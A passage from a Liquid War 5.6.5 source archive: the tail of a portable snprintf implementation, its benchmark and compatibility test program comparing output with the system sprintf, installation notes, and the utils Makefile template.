zero_padding_insertion_ind++; } if (zero_padding_insertion_ind+1 < str_arg_l && tmp[zero_padding_insertion_ind] == '0' && (tmp[zero_padding_insertion_ind+1] == 'x' || tmp[zero_padding_insertion_ind+1] == 'X') ) { zero_padding_insertion_ind += 2; } } { size_t num_of_digits = str_arg_l - zero_padding_insertion_ind; if (alternate_form && fmt_spec == 'o' #ifdef HPUX_COMPATIBLE /* ("%#.o",0) -> "" */ && (str_arg_l > 0) #endif #ifdef DIGITAL_UNIX_BUG_COMPATIBLE /* ("%#o",0) -> "00" */ #else /* unless zero is already the first character */ && !(zero_padding_insertion_ind < str_arg_l && tmp[zero_padding_insertion_ind] == '0') #endif ) { /* assure leading zero for alternate-form octal numbers */ if (!precision_specified || precision < num_of_digits+1) { /* precision is increased to force the first character to be zero, except if a zero value is formatted with an explicit precision of zero */ precision = num_of_digits+1; precision_specified = 1; } } /* zero padding to specified precision? */ if (num_of_digits < precision) number_of_zeros_to_pad = precision - num_of_digits; } /* zero padding to specified minimal field width? */ if (!justify_left && zero_padding) { int n = min_field_width - (str_arg_l+number_of_zeros_to_pad); if (n > 0) number_of_zeros_to_pad += n; } break; } default: /* unrecognized conversion specifier, keep format string as-is*/ zero_padding = 0; /* turn zero padding off for non-numeric convers. */ #ifndef DIGITAL_UNIX_COMPATIBLE justify_left = 1; min_field_width = 0; /* reset flags */ #endif #if defined(PERL_COMPATIBLE) || defined(LINUX_COMPATIBLE) /* keep the entire format string unchanged */ str_arg = starting_p; str_arg_l = p - starting_p; /* well, not exactly so for Linux, which does something inbetween, * and I don't feel an urge to imitate it: "%+++++hy" -> "%+y" */ #else /* discard the unrecognized conversion, just keep * * the unrecognized conversion character */ str_arg = p; str_arg_l = 0; #endif if (*p) str_arg_l++; /* include invalid conversion specifier unchanged if not at end-of-string */ break; } if (*p) p++; /* step over the just processed conversion specifier */ /* insert padding to the left as requested by min_field_width; this does not include the zero padding in case of numerical conversions*/ if (!justify_left) { /* left padding with blank or zero */ int n = min_field_width - (str_arg_l+number_of_zeros_to_pad); if (n > 0) { if (str_l < str_m) { size_t avail = str_m-str_l; fast_memset(str+str_l, (zero_padding?'0':' '), (n>avail?avail:n)); } str_l += n; } } /* zero padding as requested by the precision or by the minimal field width * for numeric conversions required? */ if (number_of_zeros_to_pad <= 0) { /* will not copy first part of numeric right now, * * force it to be copied later in its entirety */ zero_padding_insertion_ind = 0; } else { /* insert first part of numerics (sign or '0x') before zero padding */ int n = zero_padding_insertion_ind; if (n > 0) { if (str_l < str_m) { size_t avail = str_m-str_l; fast_memcpy(str+str_l, str_arg, (n>avail?avail:n)); } str_l += n; } /* insert zero padding as requested by the precision or min field width */ n = number_of_zeros_to_pad; if (n > 0) { if (str_l < str_m) { size_t avail = str_m-str_l; fast_memset(str+str_l, '0', (n>avail?avail:n)); } str_l += n; } } /* insert formatted string * (or as-is conversion specifier for unknown conversions) */ { int n = str_arg_l - zero_padding_insertion_ind; if (n > 0) { if (str_l < str_m) { size_t avail = str_m-str_l; fast_memcpy(str+str_l, str_arg+zero_padding_insertion_ind, (n>avail?avail:n)); } str_l += n; } } /* insert right padding */ if (justify_left) { /* right blank padding to the field width */ int n = min_field_width - (str_arg_l+number_of_zeros_to_pad); if (n > 0) { if (str_l < str_m) { size_t avail = str_m-str_l; fast_memset(str+str_l, ' ', (n>avail?avail:n)); } str_l += n; } } } } #if defined(NEED_SNPRINTF_ONLY) va_end(ap); #endif if (str_m > 0) { /* make sure the string is null-terminated even at the expense of overwriting the last character (shouldn't happen, but just in case) */ str[str_l <= str_m-1 ? str_l : str_m-1] = '\0'; } /* Return the number of characters formatted (excluding trailing null * character), that is, the number of characters that would have been * written to the buffer if it were large enough. * * The value of str_l should be returned, but str_l is of unsigned type * size_t, and snprintf is int, possibly leading to an undetected * integer overflow, resulting in a negative return value, which is illegal. * Both XSH5 and ISO C99 (at least the draft) are silent on this issue. * Should errno be set to EOVERFLOW and EOF returned in this case??? */ return (int) str_l; } #endif liquidwar-5.6.5/utils/snprintf/test.c0000664000372000037200000006360013407756104017274 0ustar travistravis/* * test.c - test a portable implementation of snprintf * * AUTHOR * Mark Martinec , April 1999. * * Copyright 1999, Mark Martinec. All rights reserved. * * TERMS AND CONDITIONS * This program is free software; you can redistribute it and/or modify * it under the terms of the "Frontier Artistic License" which comes * with this Kit. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the Frontier Artistic License for more details. * * You should have received a copy of the Frontier Artistic License * with this Kit in the file named LICENSE.txt . * If not, I'll be glad to provide one. * * NOTE: This test program is a QUICK and DIRTY tool * ===== used while testing and benchmarking my portable snprintf. * Certain data types are not fully supported, certain test * cases were fabricated during testing by modifying the code * or running it by specifying test parameters in the command line. * * You are on your own if you want to use this test program! */ /* If no command arguments are specified do the exhaustive test. * This takes a long time. You may want to reduce the fw and fp * upper limits in the for loops. * You may also reduce the number of test elements in the array iargs. */ #include #include #include #include #include #include #include #if defined(NEED_ASPRINTF) || defined(NEED_ASNPRINTF) || defined(NEED_VASPRINTF) || defined(NEED_VASNPRINTF) # if defined(NEED_SNPRINTF_ONLY) # undef NEED_SNPRINTF_ONLY # endif # if !defined(PREFER_PORTABLE_SNPRINTF) # define PREFER_PORTABLE_SNPRINTF # endif #endif #ifdef HAVE_SNPRINTF extern int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...); #else extern int snprintf(char *, size_t, const char *, /*args*/ ...); extern int vsnprintf(char *, size_t, const char *, va_list); #endif #ifndef HAVE_SNPRINTF #define portable_snprintf snprintf #define portable_vsnprintf vsnprintf #endif #ifndef CLOCKS_PER_SEC #define CLOCKS_PER_SEC 100 #endif #define min(a,b) ((a)<(b) ? (a) : (b)) #define max(a,b) ((a)>(b) ? (a) : (b)) extern int asprintf (char **ptr, const char *fmt, /*args*/ ...); extern int vasprintf (char **ptr, const char *fmt, va_list ap); extern int asnprintf (char **ptr, size_t str_m, const char *fmt, /*args*/ ...); extern int vasnprintf(char **ptr, size_t str_m, const char *fmt, va_list ap); #ifndef NEED_SNPRINTF_ONLY int wrap_vsnprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...); int wrap_vsnprintf(char *str, size_t str_m, const char *fmt, ...) { va_list ap; int str_l; va_start(ap, fmt); str_l = vsnprintf(str, str_m, fmt, ap); va_end(ap); return str_l; } #endif #ifdef NEED_VASPRINTF int wrap_vasprintf(char **ptr, const char *fmt, /*args*/ ...); int wrap_vasprintf(char **ptr, const char *fmt, ...) { va_list ap; int str_l; va_start(ap, fmt); str_l = vasprintf(ptr, fmt, ap); va_end(ap); return str_l; } #endif #ifdef NEED_VASNPRINTF int wrap_vasnprintf(char **ptr, size_t str_m, const char *fmt, /*args*/ ...); int wrap_vasnprintf(char **ptr, size_t str_m, const char *fmt, ...) { va_list ap; int str_l; va_start(ap, fmt); str_l = vasnprintf(ptr, str_m, fmt, ap); va_end(ap); return str_l; } #endif int main(int argc, char *argv[]) { char str1[256], str2[256]; #ifdef HAVE_SNPRINTF char str3[256]; #endif int len1, len2, len3; int bad = 0; size_t str_m = 20; /* declared str size */ if (0) { /* benchmarking */ const int cnt = 100000; size_t size; char str[40000]; time_t t0,t; int j,len,l1,l2; char *p; int breakpoint; size = 18000; printf("\n\nsize = %d\n", (int)size); p = malloc(size); assert(p); memset(p,'h',size); p[size-1] = '\0'; t0 = clock(); printf("\ndetermine breakeven point to see when it is worth\n"); printf("calling memcpy and when to do inline string copy\n"); printf("str_l, memcpy, inline\n"); for (breakpoint=0; breakpoint<=35; breakpoint++) { register size_t nnn = (size_t)breakpoint; printf("%5ld", nnn); for (j=10*cnt; j>0; j--) memcpy(str, p, nnn); t = clock(); printf(" %1.3f", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; for (j=10*cnt; j>0; j--) { register size_t nn = (size_t)breakpoint; if (nn > 0) { register char *dd; register const char *ss; for (ss=p, dd=str; nn>0; nn--) *dd++ = *ss++; } } t = clock(); printf(" %1.3f\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; } printf("\nmeasuring time to SKIP a long format with no conversions\n"); p[0] = '%'; p[1] = 's'; for (j=cnt; j>0; j--) l1=portable_snprintf(NULL,(size_t)0,p,"1234567890"); t = clock(); printf("t_port_nul = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; for (j=cnt; j>0; j--) l2=portable_snprintf(str,(size_t)8,p,"1234567890"); t = clock(); printf("t_port = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; assert(l1==l2); p[0] = p[1] = 'h'; printf("\nmeasuring time to copy a long format with no conversions\n"); for (j=cnt; j>0; j--) l1=portable_snprintf(NULL,(size_t)0,p); t = clock(); printf("t_port_nul = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; for (j=cnt; j>0; j--) l2=portable_snprintf(str,sizeof(str),p); t = clock(); printf("t_port = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; assert(l1==l2); for (j=cnt; j>0; j--) sprintf(str,p); t = clock(); printf("t_sys = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; printf("\nmeasuring time to copy a long format with one conversion\n"); p[size-10] = '%'; for (j=cnt; j>0; j--) l1=portable_snprintf(NULL,(size_t)0,p); t = clock(); printf("t_port_nul = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; for (j=cnt; j>0; j--) l2=portable_snprintf(str,sizeof(str),p); t = clock(); printf("t_port = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; assert(l1==l2); for (j=cnt; j>0; j--) sprintf(str,p); t = clock(); printf("t_sys = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; printf("\nmeasuring string argument copy speed\n"); for (j=cnt; j>0; j--) l1=portable_snprintf(NULL,(size_t)0,"%.18000s",p); t = clock(); printf("t_port_nul = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; for (j=cnt; j>0; j--) l2=portable_snprintf(str,sizeof(str),"%.18000s",p); t = clock(); printf("t_port = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; assert(l1==l2); for (j=cnt; j>0; j--) sprintf(str,"%.18000s",p); t = clock(); printf("t_sys = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; printf("\nmeasuring left padding speed\n"); p[0] = '\0'; for (j=cnt; j>0; j--) l1=portable_snprintf(NULL,(size_t)0,"%-18000s",p); t = clock(); printf("t_port_nul = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; for (j=cnt; j>0; j--) l2=portable_snprintf(str,sizeof(str),"%-18000s",p); t = clock(); printf("t_port = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; assert(l1==l2); for (j=cnt; j>0; j--) sprintf(str,"%-18000s",p); t = clock(); printf("t_sys = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; printf("\nmeasuring right padding speed\n"); p[0] = '\0'; for (j=cnt; j>0; j--) l1=portable_snprintf(NULL,(size_t)0,"%18000s",p); t = clock(); printf("t_port_nul = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; for (j=cnt; j>0; j--) l2=portable_snprintf(str,sizeof(str),"%18000s",p); t = clock(); printf("t_port = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; assert(l1==l2); for (j=cnt; j>0; j--) sprintf(str,"%18000s",p); t = clock(); printf("t_sys = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; printf("\nmeasuring zero padding speed\n"); for (j=cnt; j>0; j--) l1=portable_snprintf(NULL,(size_t)0,"%018000d",1); t = clock(); printf("t_port_nul = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; for (j=cnt; j>0; j--) l2=portable_snprintf(str,sizeof(str),"%018000d",1); t = clock(); printf("t_port = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; assert(l1==l2); for (j=cnt; j>0; j--) sprintf(str,"%018000d",1); t = clock(); printf("t_sys = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; printf("\nmeasuring system's sprintf to efficiently handle truncated strings\n"); memset(p,'h',size); p[size-1] = '\0'; t0 = clock(); for (j=cnt; j>0; j--) len = strlen(p); printf("len = %d\n", len); t = clock(); printf("t_strlen = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; /* test if the system sprintf scans the whole string (e.g. by strlen) * before recognizing this wasa bad idea since the format specified * a truncated string precision, e.g. "%.8s" . */ for (j=cnt; j>0; j--) sprintf(str,"%.2s",p); t = clock(); printf("t_sys = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; #ifdef HAVE_SNPRINTF for (j=cnt; j>0; j--) snprintf(str,sizeof(str),"%.2s",p); t = clock(); printf("t_sys = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; #endif for (j=cnt; j>0; j--) portable_snprintf(str,sizeof(str),"%.2s",p); t = clock(); printf("t_port = %1.3f s\n", (float)(t-t0)/CLOCKS_PER_SEC); t0 = t; free(p); return 0; } /* preliminary halfhearted test */ { const char fmt[] = "Bla%.4s%05iHE%%%-50sTail"; char *ptr4=0, *ptr5=0, *ptr6=0, *ptr7=0; int len1f; char str_full[256]; printf("\npreliminary test: snprintf\n"); len1 = snprintf(str1, str_m, fmt, "abcdef",-12,"str"); len1f = snprintf(str_full, sizeof(str_full), fmt, "abcdef",-12,"str"); assert(len1f==len1); assert(memcmp(str1,str_full,min(len1,str_m-1)) == 0); assert(str1[str_m-1] == '\0'); assert(str_full[sizeof(str_full)-1] == '\0'); #ifndef NEED_SNPRINTF_ONLY printf("preliminary test: vsnprintf\n"); len2 = wrap_vsnprintf(str2, str_m, fmt, "abcdef",-12,"str"); assert(len2==len1); assert(memcmp(str1,str2,min(len1+1,str_m)) == 0); assert(str2[str_m-1] == '\0'); #endif #ifdef NEED_ASPRINTF printf("preliminary test: asprintf\n"); len4 = asprintf(&ptr4, fmt, "abcdef",-12,"str"); assert(ptr4); assert(len4==len1); assert(memcmp(str_full,ptr4,min(len4+1,sizeof(str_full))) == 0); assert(ptr4[len4] == '\0'); #endif #ifdef NEED_ASNPRINTF printf("preliminary test: asnprintf\n"); len5 = asnprintf(&ptr5, str_m, fmt, "abcdef",-12,"str"); assert(ptr5); assert(len5==len1); assert(memcmp(str1,ptr5,min(len5+1,str_m)) == 0); assert(ptr5[len5] == '\0'); #endif #ifdef NEED_VASPRINTF printf("preliminary test: vasprintf\n"); len6 = wrap_vasprintf(&ptr6, fmt, "abcdef",-12,"str"); assert(ptr6); assert(len6==len1); assert(memcmp(str_full,ptr6,min(len6+1,sizeof(str_full))) == 0); assert(ptr6[len6] == '\0'); #endif #ifdef NEED_VASNPRINTF printf("preliminary test: vasnprintf\n"); len7 = wrap_vasnprintf(&ptr7, str_m, fmt, "abcdef",-12,"str"); assert(ptr7); assert(len7==len1); assert(memcmp(str1,ptr7,min(len7+1,str_m)) == 0); assert(ptr7[len7] == '\0'); #endif if (ptr4) free(ptr4); if (ptr5) free(ptr5); if (ptr6) free(ptr6); if (ptr7) free(ptr7); } /* second preliminary halfhearted test */ { printf("\nsecond preliminary test:\n"); printf("test 0a\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), ""); len2 = sprintf (str2, ""); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 0b\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "YK"); len2 = sprintf (str2, "YK"); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 1\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%+d",0); len2 = sprintf (str2, "%+d",0); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 2\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.2147483647s", "13"); len2 = sprintf (str2, "%.2147483647s", "13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 3a\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.2147483648s", "13"); len2 = sprintf (str2, "%.2147483648s", "13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 3b\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.2147483649s", "13"); len2 = sprintf (str2, "%.2147483649s", "13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 4\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%-.2147483647s", "13"); len2 = sprintf (str2, "%-.2147483647s", "13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 5\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%-.2147483648s", "13"); len2 = sprintf (str2, "%-.2147483648s", "13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 6\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.4294967295s", "13"); len2 = sprintf (str2, "%.4294967295s", "13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 7\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.4294967296s", "13"); len2 = sprintf (str2, "%.4294967296s", "13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 12\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.*s", 2147483647,"13"); len2 = sprintf (str2, "%.*s", 2147483647,"13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 13\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.*s", 2147483648U,"13"); len2 = sprintf (str2, "%.*s", 2147483648U,"13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 14\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%-.*s", 2147483647,"13"); len2 = sprintf (str2, "%-.*s", 2147483647,"13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 15\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%-.*s", 2147483648U,"13"); len2 = sprintf (str2, "%-.*s", 2147483648U,"13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 16\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.*s", 4294967295U,"13"); len2 = sprintf (str2, "%.*s", 4294967295U,"13"); printf("len1=%d, len2=%d\n", len1,len2); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 17\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.*s", 4294967296U,"13"); /* len2 = sprintf (str2, "%.*s", 4294967296U,"13"); */ /* core dumps on HPUX */ /* assert(len1==len2); * assert(memcmp(str1,str2,(size_t)len1) == 0); */ printf("test 95\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%c",'A'); len2 = sprintf (str2, "%c",'A'); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 96\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%10c",'A'); len2 = sprintf (str2, "%10c",'A'); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 97\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%-10c",'A'); len2 = sprintf (str2, "%-10c",'A'); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 98\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%.10c",'A'); len2 = sprintf (str2, "%.10c",'A'); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 99\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, sizeof(str1), "%-.10c",'A'); len2 = sprintf (str2, "%-.10c",'A'); assert(len1==len2); assert(memcmp(str1,str2,(size_t)len1) == 0); printf("test 100\n"); memset(str1,'x',sizeof(str1)); memset(str2,'x',sizeof(str2)); len1 = snprintf(str1, (size_t)8, "blaBhb%shehe%cX","ABCD",'1'); len2 = sprintf (str2, "blaBhb%shehe%cX","ABCD",'1'); assert(len1==len2); assert(memcmp(str1,str2,(size_t)7) == 0); assert(str1[7] == '\0'); assert(memcmp(str1+14,str2+16,(size_t)(len1-16)) == 0); } /* testing for correctness and compatibility */ if (argc >= 3) { char *c; int alldigits = 1; for (c=argv[2]; *c; c++) if (! (*c == '-' || (*c >= '0' && *c <= '9'))) alldigits = 0; if (alldigits) { int j = atoi(argv[2]); len1 = portable_snprintf(str1, str_m, argv[1], j, 3); len2 = sprintf(str2, argv[1], j, 3); #ifdef HAVE_SNPRINTF len3 = snprintf(str3, str_m, argv[1], j, 3); #endif } else { len1 = portable_snprintf(str1, str_m, argv[1], argv[2], 3); len2 = sprintf(str2, argv[1], argv[2], 3); #ifdef HAVE_SNPRINTF len3 = snprintf(str3, str_m, argv[1], argv[2], 3); #endif } printf("portable: |%s| len = %d\n", str1, len1); printf("sys sprintf: |%s| len = %d\n", str2, len2); #ifdef HAVE_SNPRINTF printf("sys snprintf: |%s| len = %d\n", str3, len3); #endif } else { /* exhaustive testing */ const char flags[] = "+- 0#"; /* set of test flags (including '\0')*/ int flags_l = strlen(flags); const char fspec[] = "scdpoxXuiy"; /* set of test formats (including '\0') */ int fspec_l = strlen(fspec); #ifdef SNPRINTF_LONGLONG_SUPPORT const char datatype[] = " hl2"; /* set of datatypes */ #else const char datatype[] = " hl"; /* set of datatypes */ #endif int datatype_l = strlen(datatype); const long int iargs[] = /* set of numeric test arguments */ { 0,1,9,10,28,99,100,127,128,129,998,1000,32767,32768,32769, -1,-9,-10,-28,-99,-100,-127,-128,-129, -998,-1000,-32767,-32768,-32769 }; int iargs_l = sizeof(iargs)/sizeof(iargs[0]); const char *sargs[] = /* set of string test arguments */ { "", "a", "0", "-ab", "abcde", "abcdefghijk mnopqrstuv" }; int sargs_l = sizeof(sargs)/sizeof(sargs[0]); char fmt[256]; int fmt_l; int a, fs, fl1, fl2, fl3, fl4, fl5, fw, fp, dt; for (fs=0; fs<=fspec_l; fs++) { /* format specifier */ int strtype = (fspec[fs] == 's' || fspec[fs] == '%'); int args_l = (strtype ? sargs_l : iargs_l); for (fw= -1; fw<=3; fw++) { /* minimal field width */ printf("Trying format %%"); if (fw >= 0) printf("%d", fw); if (fspec[fs]) putchar(fspec[fs]); putchar('\n'); for (fp= -2; fp<=3; fp++) { /* format field precision */ /* data type modifiers */ for (dt=0; dt < ((strtype||fspec[fs]=='c') ? 1 : datatype_l); dt++) { int dataty = datatype[dt]; if (fspec[fs] == 'D' || fspec[fs] == 'U' || fspec[fs] == 'O') dataty = 'l'; if (fspec[fs] == 'p' && dataty == '2') continue; for (fl1=0; fl1<=flags_l; fl1++) { /* flags */ for (fl2=0; fl2<=flags_l; fl2++) { for (fl3=0; fl3<=flags_l; fl3++) { for (fl4=0; fl4<=flags_l; fl4++) { for (fl5=0; fl5<=flags_l; fl5++) { for (a=0; a= 0) fmt_l += sprintf(fmt+fmt_l, "%d", fw); if (fp >= -1) { fmt[fmt_l++] = '.'; if (fp >= 0) fmt_l += sprintf(fmt+fmt_l, "%d", fp); } if (dataty == '2') { fmt[fmt_l++] = 'l'; fmt[fmt_l++] = 'l'; } else if (dataty != ' ') { fmt[fmt_l++] = dataty; } if (fspec[fs]) fmt[fmt_l++] = fspec[fs]; fmt[fmt_l++] = '\0'; if (a==0 && fl1==flags_l && fl2==flags_l && fl3==flags_l && fl4==flags_l && fl5==flags_l) printf("%s\n", fmt); #ifdef HAVE_SNPRINTF memset(str1,'G',sizeof(str1)); memset(str2,'G',sizeof(str2)); memset(str3,'G',sizeof(str3)); #endif len1 = len2 = len3 = 0; if (strtype) { len1 = portable_snprintf(str1, str_m, fmt, sargs[a]); len2 = sprintf(str2, fmt, sargs[a]); #ifdef HAVE_SNPRINTF len3 = snprintf(str3, str_m, fmt, sargs[a]); #endif } else if (fspec[fs] == 'p') { len1 = portable_snprintf(str1, str_m, fmt, (void *)iargs[a]); len2 = sprintf(str2, fmt, (void *)iargs[a]); #ifdef HAVE_SNPRINTF len3 = snprintf(str3, str_m, fmt, (void *)iargs[a]); #endif } else { switch (dataty) { case '\0': len1 = portable_snprintf(str1, str_m, fmt, (int) iargs[a]); len2 = sprintf(str2, fmt, (int) iargs[a]); #ifdef HAVE_SNPRINTF len3 = snprintf(str3, str_m, fmt, (int) iargs[a]); #endif break; case 'h': len1 = portable_snprintf(str1, str_m, fmt, (short int)iargs[a]); len2 = sprintf(str2, fmt, (short int)iargs[a]); #ifdef HAVE_SNPRINTF len3 = snprintf(str3, str_m, fmt, (short int)iargs[a]); #endif break; case 'l': len1 = portable_snprintf(str1, str_m, fmt, (long int)iargs[a]); len2 = sprintf(str2, fmt, (long int)iargs[a]); #ifdef HAVE_SNPRINTF len3 = snprintf(str3, str_m, fmt, (long int)iargs[a]); #endif break; #ifdef SNPRINTF_LONGLONG_SUPPORT case '2': len1 = portable_snprintf(str1, str_m, fmt, (long long int)iargs[a]); len2 = sprintf(str2, fmt, (long long int)iargs[a]); #ifdef HAVE_SNPRINTF len3 = snprintf(str3, str_m, fmt, (long long int)iargs[a]); #endif break; #endif } } if (0) { #ifdef HAVE_SNPRINTF } else if (len1 != len3 || memcmp(str1,str3,min(len1+20,sizeof(str1))) != 0) { bad = 1; if (strtype) printf("\n2: %s, <%s>\n", fmt, sargs[a]); else printf("\n2: %s, %ld\n", fmt, iargs[a]); printf("portable: |%s| len = %d\n", str1, len1); printf("sys sprintf: |%s| len = %d\n", str2, len2); printf("sys snprintf: |%s| len = %d\n", str3, len3); #else } else if (len1 != len2 || (len1>0 && memcmp(str1,str2,min(len1,str_m)-1) != 0)) { bad = 1; if (strtype) printf("\n1: %s, <%s>\n", fmt, sargs[a]); else printf("\n1: %s, %ld\n", fmt, iargs[a]); printf("portable: |%s| len = %d\n", str1, len1); printf("sys sprintf: |%s| len = %d\n", str2, len2); #endif } if (bad) return(1); } } } } } } } } } } } return (bad?1:0); } liquidwar-5.6.5/utils/snprintf/INSTALL0000664000372000037200000000126613407756104017202 0ustar travistravisHOW TO INSTALL - manually: 1. Read the description of macros that control the bahaviour of the program at the beginning of the file snprintf.c, change the definitions in snprintf.c or in Makefile if necessary. 2. make 3. move the file snprintf.o where your programs will find it HOW TO INSTALL - with autoconf: Contributed by Caolan McNamara : Though it might be overkill for snprintf I also have an autoconf and automaked version which works out the need for long long support and makes snprintf optionally into a dynamic library on libtool supported platforms. 1. cd with_autoconf 2. follow instructions in the file INSTALL there. liquidwar-5.6.5/utils/Makefile.in0000664000372000037200000000206213407756104016346 0ustar travistravis SNPRINTF = @SNPRINTF@ ALCFLAGS = @ALCFLAGS@ ALLIBS = @ALLIBS@ ifeq ($(SNPRINTF),yes) SNPRINTF_FILES = SNPRINTF_OPTIONS = else SNPRINTF_FILES = snprintf/snprintf.o SNPRINTF_OPTIONS = -DSNPRINTF endif EXE_FILES = liquidwarcol liquidwarmap liquidwartex OBJ_NAMES = liquidwarcol liquidwarmap liquidwartex OBJ_FILES = $(addsuffix .o, $(OBJ_NAMES)) CMD_CC = $(CC) $(CFLAGS) $(ALCFLAGS) -c -Wall -W $(SNPRINTF_OPTIONS) all: $(EXE_FILES) $(OBJ_FILES) install: config: print_cmd_cc check: indent: dep: clean: @rm -f *.o @rm -f */*.o @rm -f $(OBJ_FILES) @rm -f $(EXE_FILES) distclean: @rm -f snprintf/test @rm -f lwmapgen/lwmapgen @rm -f lwmapgen/liquidwar-mapgen @rm -f Makefile liquidwar%: liquidwar%.o $(SNPRINTF_FILES) @echo "Building $@" @$(CC) $(LDFLAGS) -o $@ $< $(SNPRINTF_FILES) $(ALLIBS) %.o: %.c @echo "Compiling" $< @$(CMD_CC) $< -o $@ 